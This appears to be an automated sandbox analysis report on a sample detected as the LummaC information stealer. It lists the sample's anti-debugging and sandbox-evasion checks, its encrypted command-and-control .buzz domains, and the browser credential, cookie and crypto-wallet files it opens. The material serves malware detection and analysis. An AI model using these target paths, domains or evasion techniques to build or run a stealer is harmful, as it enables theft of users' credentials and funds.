Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: GnHq2ZaBUl.exe, 00000000.00000003.2128974033.0000000005604000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: GnHq2ZaBUl.exe, 00000000.00000002.2467326065.0000000005C93000.00000040.00000800.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000002.2462017806.0000000000E3D000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: GnHq2ZaBUl.exe	Binary or memory string: \\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: GnHq2ZaBUl.exe, 00000000.00000003.2129128298.0000000005598000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: NTICE
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: SICE
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: GnHq2ZaBUl.exe, 00000000.00000003.2056951579.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: hummskitnj.buzz
Source: GnHq2ZaBUl.exe, 00000000.00000003.2056951579.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: cashfuzysao.buzz
Source: GnHq2ZaBUl.exe, 00000000.00000003.2056951579.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: appliacnesot.buzz
Source: GnHq2ZaBUl.exe, 00000000.00000003.2056951579.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: screwamusresz.buzz
Source: GnHq2ZaBUl.exe, 00000000.00000003.2056951579.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: inherineau.buzz
Source: GnHq2ZaBUl.exe, 00000000.00000003.2056951579.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scentniej.buzz
Source: GnHq2ZaBUl.exe, 00000000.00000003.2056951579.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: rebuildeso.buzz
Source: GnHq2ZaBUl.exe, 00000000.00000003.2056951579.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: prisonyfork.buzz
Source: GnHq2ZaBUl.exe, 00000000.00000003.2056951579.0000000004A80000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mindhandru.buzz

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=GnHq2ZaBUl.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: GnHq2ZaBUl.exe, 00000000.00000002.2467326065.0000000005C93000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: GTProgram Manager
Source: GnHq2ZaBUl.exe, 00000000.00000002.2462475354.0000000000E82000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: vProgram Manager

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: GnHq2ZaBUl.exe, 00000000.00000003.2222836139.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp, GnHq2ZaBUl.exe, 00000000.00000003.2209563175.0000000000B7D000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: GnHq2ZaBUl.exe PID: 1360, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: GnHq2ZaBUl.exe, 00000000.00000003.2209691754.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Electrum-LTC
Source: GnHq2ZaBUl.exe, 00000000.00000003.2209691754.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: GnHq2ZaBUl.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: GnHq2ZaBUl.exe, 00000000.00000003.2209691754.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: GnHq2ZaBUl.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: GnHq2ZaBUl.exe	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: GnHq2ZaBUl.exe, 00000000.00000003.2209691754.0000000000BB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: GnHq2ZaBUl.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: GnHq2ZaBUl.exe, 00000000.00000003.2205439671.0000000000B7E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet\
Source: GnHq2ZaBUl.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\GnHq2ZaBUl.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
